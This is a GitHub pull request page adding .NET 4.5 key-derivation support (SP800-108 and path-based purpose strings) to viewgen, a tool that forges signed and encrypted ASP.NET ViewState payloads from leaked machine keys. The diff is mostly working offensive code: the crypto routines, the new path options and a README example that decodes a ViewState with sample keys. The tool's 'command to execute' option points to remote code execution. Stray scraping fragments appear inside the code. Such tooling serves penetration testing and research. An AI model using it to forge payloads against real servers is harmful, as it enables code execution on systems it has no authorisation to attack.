8000 add .NET 4.5 algorithm by redblaze-chtsec · Pull Request #8 · 0xacb/viewgen · GitHub
[go: up one dir, main page]
More Web Proxy on the site http://driver.im/
Skip to content

add .NET 4.5 algorithm #8

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 2 commits into
base: main
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
11 changes: 10 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -24,7 +24,8 @@ $ viewgen -h
usage: viewgen [-h] [--webconfig WEBCONFIG] [-m MODIFIER]
[--viewstateuserkey VIEWSTATEUSERKEY] [-c COMMAND] [--decode]
[--guess] [--check] [--vkey VKEY] [--valg VALG] [--dkey DKEY]
[--dalg DALG] [-u] [-e] [-f FILE] [--version]
[--dalg DALG] [-u] [-e] [-f FILE] [--version] [--path PATH]
[--apppath APPPATH]
[payload]

viewgen is a ViewState tool capable of generating both signed and encrypted
Expand Down Expand Up @@ -57,6 +58,8 @@ options:
-e, --encrypted ViewState is encrypted
-f FILE, --file FILE read ViewState payload from file
--version show viewgen version
--path PATH target web page(only for .NET >= 4.5)
--apppath APPPATH application path(only for .NET >= 4.5)
```

---------------
Expand All @@ -74,6 +77,12 @@ $ viewgen --decode --check --webconfig web.config --modifier CA0B0334 "zUylqfbpW
$ viewgen --webconfig web.config --modifier CA0B0334 "/wEPDwUKMTYyODkyNTEzMw9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRk"
r4zCP5CdSo5R9XmiEXvp1LHVzX1uICmY7oW2WD/gKS/Mt/s+NKXrMpScr4Gvrji7lFdHPOttFpi2x7YbmQjEjJ2NdBMuzeKFzIuno2DenYF8yVVKx5+LL7LYmI0CVcNQ+jH8VxvzVG58NQIJ/rSr6NqNMBahrVfAyVPgdL4Eke3Bq4XWk6BYW2Bht6ykSHF9szT8tG6KUKwf+T94hFUFNIXXkURptwQJEC/5AMkFXMU0VXDa

$ viewgen --check -e --vkey '6F16768FDF1E1E4A23CE58625C761F55FD13A1681F7AE3BDB4BB8F99874C7485' --dkey 'F42E58ECE66428868A69ED1F5B6721364A3FC3C490C7FFAAE1EAE96BBA45C88D' "EZgmsZEuppW0eZTumHR9toJTc4MDPJ0CzjIVt6u3FO8TQLDiFbGqvHwKAz72nGrhrCZP3rYE1uXqeU160jZo7xY1v48MACMKLrPiljD3yaM=" --dalg AES --valg SHA256 --decode --path '/default.aspx' --apppath '/'
[+] ViewState
(('91245346', None), None)
[+] Signature: ac264fdeb604d6e5ea794d7ad23668ef1635bf8f0c00230a2eb3e29630f7c9a3
[+] Signature match

$ viewgen --guess "/wEPDwUKMTYyODkyNTEzMw9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkuVmqYhhtcnJl6Nfet5ERqNHMADI="
[+] ViewState is not encrypted
[+] Signature algorithm: SHA1
Expand Down
61 changes: 61 additions & 0 deletions sp800_108.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,61 @@
import hmac
import hashlib
from struct import pack
import binascii


class SP800_108:
@staticmethod
def derive_key(key_derivation_key: bytes, purpose) -> bytes:
label, context = purpose.get_key_derivation_parameters()
return SP800_108.derive_key_impl(key_derivation_key, label, context, len(key_derivation_key) * 8)

@staticmethod
def derive_key_impl(key: bytes, label: bytes, context: bytes, key_length_in_bits: int) -> bytes:
hmac_sha = hmac.new(key, digestmod=hashlib.sha512)
key_length_in_bytes = key_length_in_bits // 8

label = label if label else b''
context = context if context else b''

# Construct fixed input data: Counter (4 bytes) || Label || 0x00 || Context || L (4 bytes)
fixed_input = label + b'\x00' + context + SP800_108.uint32_to_bytes(key_length_in_bits)

derived_key = bytearray()
counter = 1

while len(derived_key) < key_length_in_bytes:
counter_bytes = SP800_108.uint32_to_bytes(counter)
data = counter_bytes + fixed_input
hmac_sha_copy = hmac_sha.copy()
hmac_result = hmac_sha_copy.update(data)
derived_key.extend(hmac_sha_copy.digest())
counter += 1

return bytes(derived_key[:key_length_in_bytes])

@staticmethod
def uint32_to_bytes(value: int) -> bytes:
return pack(">I", value)


class Purpose:
def __init__(self, primary_purpose: str, specific_purposes: list):
self.primary_purpose = primary_purpose
self.specific_purposes = specific_purposes
self._derived_key_label = None
self._derived_key_context = None

def get_key_derivation_parameters(self):
if self._derived_key_label is None:
self._derived_key_label = self.primary_purpose.encode('utf-8')

if self._derived_key_context is None:
context_parts = [sp.encode('utf-8') for sp in self.specific_purposes]
prefix = len(context_parts[0]).to_bytes(1, 'big')
separator = len(context_parts[1]).to_bytes(1, 'big')
context_stream = prefix + separator.join(context_parts)
self._derived_key_context = context_stream

return self._derived_key_label, self._derived_key_context

121 changes: 105 additions & 16 deletions viewgen
Original file line number Diff line number Diff line change
Expand Up @@ -5,6 +5,8 @@ from pprint import pprint
from Crypto.Cipher import AES
from Crypto.Cipher import DES
from Crypto.Cipher import DES3
from Crypto.Util.Padding import unpad
from Crypto.Util.Padding import pad
from viewstate import ViewState
from xml.dom import minidom
from colored import fg, attr
Expand All @@ -18,14 +20,11 @@ import binascii
import struct
import sys
import urllib.parse

import sp800_108

VERSION = 0.3


pad = lambda s, bs: s + (bs - len(s) % bs) * chr(bs - len(s) % bs).encode("ascii")
unpad = lambda s: s[:-ord(s[len(s)-1:])]


def success(s):
print("[%s+%s] %s%s%s%s" % (fg("light_green"), attr(0), attr(1), s, attr(21), attr(0)))
Expand All @@ -40,20 +39,32 @@ class ViewGen:
hash_algs = {"SHA1": hashlib.sha1, "MD5": hashlib.md5, "SHA256": hashlib.sha256, "SHA384": hashlib.sha384, "SHA512": hashlib.sha512, "AES": hashlib.sha1, "3DES": hashlib.sha1}
hash_sizes = {"SHA1": 20, "MD5": 16, "SHA256": 32, "SHA384": 48, "SHA512": 64, "AES": 20, "3DES": 20}

def __init__(self, validation_key=None, validation_alg=None, dec_key=None, dec_alg=None, modifier=None, encrypted=False, viewstateuserkey=None):
def __init__(self, validation_key=None, validation_alg=None, dec_key=None, dec_alg=None, modifier=None, encrypted=False, viewstateuserkey=None, path=None, apppath=None):
self.validation_key = validation_key
self.dec_key = dec_key
self._init_validation_alg(validation_alg)
self._init_dec_alg(dec_alg)
self.encrypted = encrypted
self.path = path
self.apppath = apppath
if modifier is None:
self.modifier = ViewGen.MD5_MODIFIER
if not apppath and not path:
self.modifier = ViewGen.MD5_MODIFIER
else:
self.encrypted = True
self.modifier = ""
self.purpose = sp800_108.Purpose("WebForms.HiddenFieldPageStatePersister.ClientState", ["TemplateSourceDirectory: " + simulate_template_source_directory(path, is_debug=False), "Type: " + simulate_get_type_name(path, apppath, is_debug=False)])
self.dec_key = sp800_108.SP800_108.derive_key(dec_key, self.purpose)
self.validation_key = sp800_108.SP800_108.derive_key(validation_key, self.purpose)
else:
self.modifier = struct.pack("<I", int(modifier, 16))
if viewstateuserkey:
self.viewstateuserkey = bytes(viewstateuserkey, "utf-16le")
self.modifier += self.viewstateuserkey
self.modifier_size = 4 + len(bytes(args.viewstateuserkey, "utf-16le")) if args.viewstateuserkey else 4
if not apppath and not path:
self.modifier_size = 4 + len(bytes(args.viewstateuserkey, "utf-16le")) if args.viewstateuserkey else 4
else:
self.modifier_size = 0
self._reuse_iv = False
self._iv = None
self._random_bytes = None
Expand Down Expand Up @@ -93,17 +104,26 @@ class ViewGen:
iv = self._gen_random_bytes(AES.block_size)
random_bytes = self._gen_random_bytes(len(self.dec_key) - AES.block_size)
cipher = AES.new(self.dec_key, AES.MODE_CBC, iv)
payload = pad(random_bytes + data + self.modifier, AES.block_size)
if not self.path and not self.apppath:
payload = pad(random_bytes + data + self.modifier, AES.block_size)
else:
payload = pad(data, AES.block_size)
elif self.dec_alg == "DES":
if not self._reuse_iv:
iv = self._gen_random_bytes(DES.block_size)
cipher = DES.new(self.dec_key[:8], DES.MODE_CBC, iv)
payload = pad(data + self.modifier, DES.block_size)
if not self.path and not self.apppath:
payload = pad(data + self.modifier, DES.block_size)
else:
payload = pad(data, DES.block_size)
elif self.dec_alg == "3DES":
if not self._reuse_iv:
iv = self._gen_random_bytes(DES3.block_size)
cipher = DES3.new(self.dec_key[:24], DES3.MODE_CBC, iv)
payload = pad(data + self.modifier, DES3.block_size)
if not self.path and not self.apppath:
payload = pad(data + self.modifier, DES3.block_size)
else: 8000
payload = pad(data, DES3.block_size)
else:
return None

Expand All @@ -116,31 +136,36 @@ class ViewGen:
iv = data[0:AES.block_size]
enc = data[AES.block_size:-hash_size]
cipher = AES.new(self.dec_key, AES.MODE_CBC, iv)
block_size = AES.block_size
random_bytes_size = len(self.dec_key) - AES.block_size
elif self.dec_alg == "DES":
iv = data[0:DES.block_size]
enc = data[DES.block_size:-hash_size]
cipher = DES.new(self.dec_key[:8], DES.MODE_CBC, iv)
block_size = DES.block_size
random_bytes_size = 0
elif self.dec_alg == "3DES":
iv = data[0:DES3.block_size]
enc = data[DES3.block_size:-hash_size]
cipher = DES3.new(self.dec_key[:24], DES3.MODE_CBC, iv)
random_bytes_size = 0
block_size = DES3.block_size
random_bytes_size = len(self.dec_key) - DES3.block_size
else:
return None

dec = cipher.decrypt(enc)
signature = data[-hash_size:]
unpad_dec = unpad(dec)
unpad_dec = unpad(dec, block_size)
self._random_bytes = unpad_dec[:random_bytes_size]
self._iv = iv
modifier = unpad_dec[-self.modifier_size:]
idx = self.modifier_size
if self._double_signature:
idx += 20

return base64.b64encode(unpad_dec[random_bytes_size:-idx]), signature
if not self.path and not self.apppath:
return base64.b64encode(unpad_dec[random_bytes_size:-idx]), signature
else:
return base64.b64encode(unpad_dec), signature

def encrypt_and_sign(self, payload):
if self._double_signature:
Expand Down Expand Up @@ -249,7 +274,7 @@ def read_webconfig(webconfig_path):
def parse_args():
parser = argparse.ArgumentParser(description="viewgen is a ViewState tool capable of generating both signed and encrypted payloads with leaked validation keys or web.config files")
parser.add_argument("--webconfig", help="automatically load keys and algorithms from a web.config file", required=False)
parser.add_argument("-m", "--modifier", help="VIEWSTATEGENERATOR value", required=False, default="00000000")
parser.add_argument("-m", "--modifier", help="VIEWSTATEGENERATOR value", required=False, default=None)
parser.add_argument("--viewstateuserkey", help="ViewStateUserKey value", required=False)
parser.add_argument("-c", "--command", help="command to execute", required=False)
parser.add_argument("--decode", help="decode a ViewState payload", required=False, default=False, action="store_true")
Expand All @@ -264,6 +289,8 @@ def parse_args():
parser.add_argument("payload", help="ViewState payload (base 64 encoded)", nargs="?")
parser.add_argument("-f", "--file", help="read ViewState payload from file", required=False)
parser.add_argument("--version", help="show viewgen version", required=False, action="store_true")
parser.add_argument("--path", help="target web page(only for .NET >= 4.5)", required=False)
parser.add_argument("--apppath", help="application path(only for .NET >= 4.5)", required=False)
args = parser.parse_args()

if len(sys.argv) == 1:
Expand Down Expand Up @@ -300,7 +327,7 @@ def run_viewgen(args):
warning("Please provide validation key and algorithm or a valid web.config")
exit(1)

viewgen = ViewGen(binascii.unhexlify(args.vkey), args.valg, binascii.unhexlify(args.dkey), args.dalg, args.modifier, args.encrypted, args.viewstateuserkey)
viewgen = ViewGen(binascii.unhexlify(args.vkey), args.valg, binascii.unhexlify(args.dkey), args.dalg, args.modifier, args.encrypted, args.viewstateuserkey, args.path, args.apppath)

if args.decode:
viewstate, signature = viewgen.decode(args.payload, parse=True)
Expand Down Expand Up @@ -359,6 +386,68 @@ def run_viewgen(args):
print(result)


def simulate_template_source_directory(str_path: str, is_debug: bool = False) -> str:
if not str_path.startswith("/"):
str_path = "/" + str_path

result = str_path

if result.rfind(".") > result.rfind("/"):
result = result[:result.rfind("/") + 1]

result = remove_slash_from_path_if_needed(result)

if is_debug:
print(f"simulateTemplateSourceDirectory returns: {result}")

return result


def simulate_get_type_name(str_path: str, IIS_app_in_path: str, is_debug: bool = False) -> str:
if not str_path.startswith("/"):
str_path = "/" + str_path

result = str_path

if not result.lower().endswith(".aspx"):
result += "/default.aspx"

IIS_app_in_path = IIS_app_in_path.lower()

if not IIS_app_in_path.startswith("/"):
IIS_app_in_path = "/" + IIS_app_in_path

if not IIS_app_in_path.endswith("/"):
IIS_app_in_path += "/"

if IIS_app_in_path in result.lower():
result = result[result.lower().index(IIS_app_in_path) + len(IIS_app_in_path):]

if result.startswith("/"):
result = result[1:]

result = result.replace(".", "_").replace("/", "_")

result = remove_slash_from_path_if_needed(result)

if is_debug:
print(f"simulateGetTypeName returns: {result}")

return result.upper()


def remove_slash_from_path_if_needed(path: str) -> str:
if not path:
return None

length = len(path)

if length <= 1 or path[-1] != '/':
return path

return path[:-1].upper()


if __name__ == "__main__":
args = parse_args()
run_viewgen(args)
0